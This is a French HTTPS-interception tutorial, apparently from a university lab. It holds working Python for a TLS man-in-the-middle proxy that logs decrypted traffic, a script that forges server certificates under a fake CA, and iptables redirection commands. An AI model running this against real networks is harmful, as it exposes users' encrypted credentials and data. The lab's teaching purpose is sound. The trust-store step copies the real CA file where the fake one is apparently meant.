Interception HTTPS

Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur !

Considérons le réseau suivant :

Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr)  

Voici le code de notre proxy SSL :

sslproxy.py

#!/usr/bin/python3
import socket
import ssl
import sys
import time
import datetime
import os
 
BUFSIZE = 4096
 
# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"
 
# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"
 
# actual CA certificate
CA_CERT = "ca-cert.pem"
 
######### MISC #########
 
def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))
 
######### Main Serve Routine  #########
 
# handle one connection
def serve(clientconn, clientaddr, serveraddr):
    (serverhost, serverport) = serveraddr       # the actual server
    (clienthost, clientport) = clientaddr       # the actual client
 
    # wrap client connection with SSL context
    clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY)
    clientconnssl = clientcontext.wrap_socket(clientconn, server_side=True)
 
    # connect to server with SSL context
    serverconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...    
    servercontext.check_hostname = True
    serverconnssl = servercontext.wrap_socket(serverconn, server_side=False, server_hostname=serverhost)
 
    try:
        serverconnssl.connect(serveraddr)
    except ssl.SSLError as e:
        log_message("%s", e)
        clientconnssl.close()
        return
 
    # start talking in SSL/TLS
    sys.stdout.write("~~~~~ REQUEST ~~~~~\n")
    buffer = clientconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    serverconnssl.sendall(buffer)
    sys.stdout.write("~~~~~ ANSWER ~~~~~\n")
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
    buffer = serverconnssl.recv(BUFSIZE)
    sys.stdout.write("%s" % buffer.decode())
    clientconnssl.sendall(buffer)
 
    # close sockets
    serverconnssl.close()
    clientconnssl.close()
    log_message('all connections closed')
 
######### Main Loop #########
 
def main():
 
    if len(sys.argv) != 4:
        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n")
        sys.exit(1)
 
    SERVERHOST = sys.argv[1]
    SERVERPORT = int(sys.argv[2])
    PROXYHOST = ''
    PROXYPORT = int(sys.argv[3])
 
    proxyaddr = (PROXYHOST, PROXYPORT)
    serveraddr = (SERVERHOST, SERVERPORT) # the target server
 
    # create proxy socket listening on PROXYPORT
    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    proxysocket.bind(proxyaddr)
    proxysocket.listen()
 
    # main loop
    log_message('proxy listening on port: %d', PROXYPORT)
    log_message('target server: %s', serveraddr)
 
    while True:
        try:
            log_message("waiting new connection...")
            clientconn, clientaddr = proxysocket.accept()
            serve(clientconn, clientaddr, serveraddr)
        except KeyboardInterrupt:
            log_message("shutting down!")
            proxysocket.close()
            break
 
######### Main Program  #########
 
main()

Commençons par générer un fake CA :

$ certtool --generate-privkey --outfile fake-ca-key.pem
$ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem

Voici les réponses à donner strictement :

• La plupart des champs peuvent rester vides.
• Common name: FAKECA
• The certificate will expire in (days): 255
• Does the certificate belong to an authority? (y/N): y
• Will the certificate be used to sign other certificates? (y/N): y
• CRL signing: y
• All other extensions: NO (required)

Pour afficher le contenu de son certificat :

$ certtool --infile fake-ca-cert.pem -i

Générons maintenant le fake certifcat de notre serveur.

 $ certtool --generate-privkey --outfile fake-server-key.pem
 $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem

Voici les réponses à donner strictement :

• La plupart des champs peuvent rester vides
• CN=nile.metal.fr
• DNSName=nile.metal.fr
• IP address=10.0.0.2
• The certificate will expire in (days): 255
• Will the certificate be used for signing (required for TLS)? (y/N): y
• Will the certificate be used for encryption (not required for TLS)? (y/N): y

Vous pouvez également utiliser le script suivant pour générer automatiquent le fake certificat pour le serveur nile.metal.fr :

./gen-fake-cert.py nile.metal.fr 443

gen-fake-cert.py

#!/usr/bin/python3
import socket
import ssl
import sys
import pprint
import OpenSSL  # deprecated ?
import time
import datetime
import os
import struct
 
# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"
 
# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"
 
######### MISC #########
 
def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))
 
######### Certificate Tools #########
 
# cert input are assuming to be x509
 
# save x509 cert file (PEM format)
def save_cert(cert, path):
    certfile = open(path, "wb")
    certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
    certfile.close()
 
# save private key file (PEM format)
def save_key(key, path):
    keyfile = open(path, "wb")
    keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))
    keyfile.close()
 
def load_cert(path):
    certfile = open(path, 'rt')
    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read())
    certfile.close()
    return cert
 
def load_key(path):
    keyfile = open(path, 'rt')
    key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read())
    keyfile.close()
    return key
 
######### Generate Fake Certificate #########
 
def generate_fake_cert(cert, cacert, cakey):
 
    # get CN & SAN from x509 cert
    cn = cert.get_subject().CN
    ext = None
    for idx in range(cert.get_extension_count()):
        ext = cert.get_extension(idx)
        if(ext.get_short_name() == b'subjectAltName'): break
    # if DEBUG: print("  * SAN = ", ext.get_data()) # in raw format (one should decode it...)
 
    # create a key pair
    fakekey = OpenSSL.crypto.PKey()
    fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024)
 
    # create a new x509 cert
    fakecert = OpenSSL.crypto.X509()  # x509 format
    fakecert.get_subject().CN = cn
    fakecert.set_serial_number(int(time.time()))
    fakecert.gmtime_adj_notBefore( 0 )             # not valid before today
    fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years
    fakecert.set_pubkey(fakekey)
    fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions
 
    # add subjectAltName X509 extension (SAN)
    if ext: fakecert.add_extensions([ext])
 
    # set issuer and CA signature
    fakecert.set_issuer(cacert.get_subject())
    fakecert.sign(cakey, 'sha1')
    fakecert.sign(cakey, 'sha256')
 
    return (fakecert, fakekey)
 
 
######### Main Program  #########
 
if len(sys.argv) != 3:
    sys.stderr.write("usage: sslproxy <server hostname> <server port>\n")
    sys.exit(1)
 
SERVERHOST = sys.argv[1]
SERVERPORT = int(sys.argv[2])
serveraddr = (SERVERHOST, SERVERPORT) # the target server
 
# load CA cert & CA key (x509)
fakecacert = load_cert(FAKE_CA_CERT)
fakecakey = load_key(FAKE_CA_KEY)
 
sslservercert = ssl.get_server_certificate(serveraddr)
servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert)
servercn = servercert.get_subject().CN
log_message('Get certificate: %s', servercn)
 
fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey)
save_cert(fakeservercert, FAKE_SERVER_CERT)
save_key(fakeserverkey, FAKE_SERVER_KEY)
log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY)

Lancement du proxy :

iptables -t nat -F
iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444
./sslproxy.py nile.metal.fr 443 4444

Sur le client :

wget -4 --ca-certificate=fake-ca-cert.pem https://nile.metal.fr

Pour ajouter le fake CA dans le store du client, il faut faire :

cp ca-cert.pem ca-cert.crt # renommage
cp ca-cert.crt /usr/share/ca-certificates/mycert/
dpkg-reconfigure ca-certificates

Puis, il suffit de faire :

wget -4 https://nile.metal.fr

Video de démo par A. Guermouche : https://www.youtube.com/watch?v=KURaBFMn4xg

Le code et la documentation du projet (version antérieure) sont ici : https://gitlab.inria.fr/esnard/https-interception

About HTTPS interception:

• http://www.bortzmeyer.org/https-interception.html
• http://roberts.bplaced.net/index.php/linux-guides/centos-6-guides/proxy-server/squid-transparent-proxy-http-https
• http://wiki.squid-cache.org/Features/HTTPS
• https://mitmproxy.org/doc/howmitmproxy.html
• http://docs.mitmproxy.org/en/latest/transparent.html
• https://blog.heckel.xyz/2013/07/01/how-to-use-mitmproxy-to-read-and-modify-https-traffic-of-your-phone/

About X509 Certifcates:

• SNI : https://fr.wikipedia.org/wiki/Server_Name_Indication
• SAN : https://en.wikipedia.org/wiki/Subject_Alternative_Name

About SSL in Python3:

• https://docs.python.org/3/library/ssl.html

Misc:

• https://cabforum.org
• Quelques Notes